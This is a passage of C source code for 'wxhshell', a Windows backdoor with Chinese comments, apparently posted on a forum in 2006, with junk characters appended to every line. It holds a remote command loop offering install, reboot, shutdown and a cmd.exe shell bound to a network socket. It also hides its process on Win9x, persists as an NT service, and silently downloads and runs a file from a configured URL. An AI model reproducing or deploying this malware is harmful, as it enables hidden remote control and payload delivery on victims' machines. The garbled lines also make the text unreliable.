      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {D9m>B3"{  
    break; /<WK2G  
  } 3Sb'){.MT+  
  // 安装 FJl_2  
  case 'i': { [TFd|ywn  
    if(Install()) H6I]GcZ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ++)3*+N+  
    else S_ Pa .  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hwR_<'!  
    break; p2Fff4nQ   
    } 2Yt+[T*  
  // 卸载 #ovmX  
  case 'r': { ExDv7St1(k  
    if(Uninstall()) !uwZ%Ux z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jR[3{ Reo  
    else |q:p^;x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4I97<zmrT  
    break; >|S&@<  
    } (+^z9p7/!  
  // 显示 wxhshell 所在路径 C%l+<wpXO  
  case 'p': { S[zX@3eZV  
    char svExeFile[MAX_PATH]; 9< $n'g  
    strcpy(svExeFile,"\n\r"); {+V]saYP  
      strcat(svExeFile,ExeFile); eXdE?j  
        send(wsh,svExeFile,strlen(svExeFile),0); Z+G.v=2q<  
    break; y$7vJl.uS/  
    } 8:)W!tr  
  // 重启 l9"T"9C{  
  case 'b': { 8UahoNrSt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r%^l~PN  
    if(Boot(REBOOT)) g* & |Eq/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c'8pTP%[  
    else { c4'k-\JvT  
    closesocket(wsh); f1_b``M  
    ExitThread(0); ?Dr K2;q  
    } --}5%6  
    break; " A}S92  
    } X5hamkM*m  
  // 关机 f*IC ZM  
  case 'd': { Z&VH7gi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yD-L:)@"  
    if(Boot(SHUTDOWN)) 7ZsBYP8%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UHh7x%$n  
    else { sOY+ X  
    closesocket(wsh); f0lpwwe  
    ExitThread(0); | pA  
    } g$N/pg2>cT  
    break; K_" denzT+  
    } TOe=6 Z5h  
  // 获取shell /#C}1emK  
  case 's': { dpPu&m+  
    CmdShell(wsh); ZHWxU  
    closesocket(wsh); PqJB&:ZV  
    ExitThread(0); yDil  
    break; \[57Dmo  
  } ,R~{$QUl  
  // 退出 k)t_U3i  
  case 'x': { 3m#/1=@o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^z%ShmM&LZ  
    CloseIt(wsh); b,tf]Z-  
    break;  KDX1_r=Y  
    } P,}cH;w6Ck  
  // 离开 fUg<+|v*  
  case 'q': { 5>e#SW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DQ86(4e*g#  
    closesocket(wsh); S1Nwm?z  
    WSACleanup(); pmIOV~K  
    exit(1); {|E'  
    break; 7^2  
        } O_kBAC-|R(  
  } fy6<KEea  
  } NZTG)<  
UCz\SZ{za  
  // 提示信息 =G9 9U/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <U]!1  
} qq,#bRe  
  } 5!b+^UR;z  
+'ZJ]  
  return; >OLKaghV.5  
} ,DZoE~  
0eP ]  
// shell模块句柄 e` QniTkT  
int CmdShell(SOCKET sock) @F-InfB8.  
{ Vx<`6uv  
STARTUPINFO si; XB.xIApmy  
ZeroMemory(&si,sizeof(si)); Nf!g1D"U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `+\6;nM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hn -!W;j  
PROCESS_INFORMATION ProcessInfo; /Z?$!u4I  
char cmdline[]="cmd"; 0{q>'dv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,dR<O.{ 0  
  return 0; l@irA tg4  
}  l:i&l?>_  
RnaxRnXVR  
// 自身启动模式 J2BCaAwEP,  
int StartFromService(void) XsXO S8  
{ <?>1eU%  
typedef struct nc2=S^Fqu  
{ 9*&c2jh  
  DWORD ExitStatus; /TndB7l"3  
  DWORD PebBaseAddress;  mdtG W  
  DWORD AffinityMask; %tvP\(]h  
  DWORD BasePriority; cS2PrsUx  
  ULONG UniqueProcessId; 4m:D8&D_M  
  ULONG InheritedFromUniqueProcessId; ^7Hwpn7E  
}   PROCESS_BASIC_INFORMATION; C$+z1z.!  
IW{}l=D/  
PROCNTQSIP NtQueryInformationProcess; d$H   
hb.^ &  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IrMUw$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 44x+2@&1  
lM |}K-2  
  HANDLE             hProcess; @fc-[pv  
  PROCESS_BASIC_INFORMATION pbi; 4x)etH^o  
1o8C4?T&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ov-Y.+L:  
  if(NULL == hInst ) return 0; Hh1]\4D,4  
F<+!28&h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [X%Wg:K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z^[ ]s1iP}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Im g$D*BM  
 Nt w?~%  
  if (!NtQueryInformationProcess) return 0; 0z =?}xr  
l"rX'g?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :u9OD` D  
  if(!hProcess) return 0; ~z kzuh  
gJZH??b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LsI8T uv  
zCe[+F  
  CloseHandle(hProcess); k6$Ft.0d1Z  
RD|DHio%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZamOYkRX  
if(hProcess==NULL) return 0; N;q)r  
B{lj.S` mB  
HMODULE hMod; Bc*FH>E  
char procName[255]; &|K9qa~)Y  
unsigned long cbNeeded; `6:B0-r  
qI%X/'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z_h-5VU-  
j2RdBoCt  
  CloseHandle(hProcess); 0sA+5*mdM  
KSAE!+  
if(strstr(procName,"services")) return 1; // 以服务启动 ;I/ A8<C  
h.*v0cq:  
  return 0; // 注册表启动 :Dj0W8V  
} S?[@/35)  
7C9_;81_Dt  
// 主模块 /os,s[w  
int StartWxhshell(LPSTR lpCmdLine) } 3}H}  
{ aJ"m`5]=%  
  SOCKET wsl; *N&~Uq^  
BOOL val=TRUE; % aqP{mOO  
  int port=0; &"?S0S>r!  
  struct sockaddr_in door; c[>xM3=e^q  
H:F'5Zt  
  if(wscfg.ws_autoins) Install(); %6W%-`  
{[)n<.n[g  
port=atoi(lpCmdLine); Nl'@Y^8N  
+,1 Ea )  
if(port<=0) port=wscfg.ws_port; n'@*RvI:  
>/4N:=.h  
  WSADATA data; }n( ?|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Rljx3!N  
ntntB{t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   , .E>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E 1`TQA  
  door.sin_family = AF_INET; b+CJRB1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EeR}34  
  door.sin_port = htons(port); =<%[P9y  
}a%1$>sj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GO)5R,  
closesocket(wsl); $Jo4n>/  
return 1; ph$ vP;}  
} bO` S Bq$  
@h9QfJ_f  
  if(listen(wsl,2) == INVALID_SOCKET) { DF>3)oTF  
closesocket(wsl); 4a=QTq0p  
return 1; aka)#0l .  
} FP'-=zgc  
  Wxhshell(wsl); Xp.$FJ1)  
  WSACleanup(); w{*PZb4  
\(MI DCZ@-  
return 0; ^ -4~pDv^  
Q2!5  
} A5T&i]  
'3 b'moy  
// 以NT服务方式启动 X'88W-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nb.|^O?  
{ -wT!g;v;%  
DWORD   status = 0; ` {qt4zd0  
  DWORD   specificError = 0xfffffff; .I?~R:(Ig  
CTS1."kx1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q B IekQT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RGL2S]UFs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fx-8mf3  
  serviceStatus.dwWin32ExitCode     = 0; Z2t\4|wr:  
  serviceStatus.dwServiceSpecificExitCode = 0; f`)*bx  
  serviceStatus.dwCheckPoint       = 0; #W&o]FAA3y  
  serviceStatus.dwWaitHint       = 0; O7CW#F  
*M)M!jTv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }K5okxio  
  if (hServiceStatusHandle==0) return; I^nDO\m <  
.DI?-=p|_#  
status = GetLastError(); osl\j]U8  
  if (status!=NO_ERROR) 2qot(Zs1i  
{ K3Bw3j 9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e#)NYcr6  
    serviceStatus.dwCheckPoint       = 0; P{x6e/  
    serviceStatus.dwWaitHint       = 0; %Z p|1J'"  
    serviceStatus.dwWin32ExitCode     = status; \Si p  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?qb35  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); inFS99DKx  
    return; l/,la]!T  
  } qW`?,N)r  
fwvwmZW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ! 1=*"H%t  
  serviceStatus.dwCheckPoint       = 0; v;`>pCal  
  serviceStatus.dwWaitHint       = 0; VEpcCK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tY>Zy1hlI  
} v[2&0&!K#  
qX*xQA|ak,  
// 处理NT服务事件,比如:启动、停止 wTD}c1J(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RRXp9{x`  
{ 51u\am'T  
switch(fdwControl) @dUN3,}  
{ ?5jLN&A3 G  
case SERVICE_CONTROL_STOP: Se_]=>WI  
  serviceStatus.dwWin32ExitCode = 0; ;?k<L\zaw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8ok=&Gq4  
  serviceStatus.dwCheckPoint   = 0; _!E&%=f  
  serviceStatus.dwWaitHint     = 0; )o<^6Ic%7  
  { KIcIYCBz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z+u.LXc|c  
  } 51`&%V{daL  
  return; peF)U !`D  
case SERVICE_CONTROL_PAUSE: 1yZA_x15:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L$ i:~6  
  break; *:Rs\QH   
case SERVICE_CONTROL_CONTINUE: [}M!ez  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q-+:1E  
  break; Rpv[rvK'  
case SERVICE_CONTROL_INTERROGATE: 0-[naGz  
  break; Lg~C:BN F  
}; C[}UQod0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i!RfUod  
} lm 96:S  
=@0J:"c  
// 标准应用程序主函数 YVwpqOE.=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xl<iR]lda  
{  |iI dm  
3C<G8*4);/  
// 获取操作系统版本 <zL_6Y2  
OsIsNt=GetOsVer(); 3LT~- SvL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w|6/i/X  
q" f65d4c  
  // 从命令行安装 lcm3wJ'w  
  if(strpbrk(lpCmdLine,"iI")) Install(); uDP:kM  
&92/qRh7  
  // 下载执行文件 +]nIr'V  
if(wscfg.ws_downexe) { MqB@}!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +C8O"  
  WinExec(wscfg.ws_filenam,SW_HIDE); bD0l^?Hu!  
} rVqQo` K\  
j<P;:  
if(!OsIsNt) { s~].iQJ{B  
// 如果时win9x,隐藏进程并且设置为注册表启动 W2#<]]-  
HideProc();  [#C6K '  
StartWxhshell(lpCmdLine); x};~8lGT>t  
} 4"k&9+>  
else ~f(5l.  
  if(StartFromService()) /wLGf]0  
  // 以服务方式启动 4U\}"Mk  
  StartServiceCtrlDispatcher(DispatchTable);  =aZ d>{Y  
else @ <{%r  
  // 普通方式启动 D>[Sib/@  
  StartWxhshell(lpCmdLine); "qNFDr(WM  
Jz~:  
return 0; !9WGZfK+0Y  
}
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只看该作者 1 发表于: 2006-10-10
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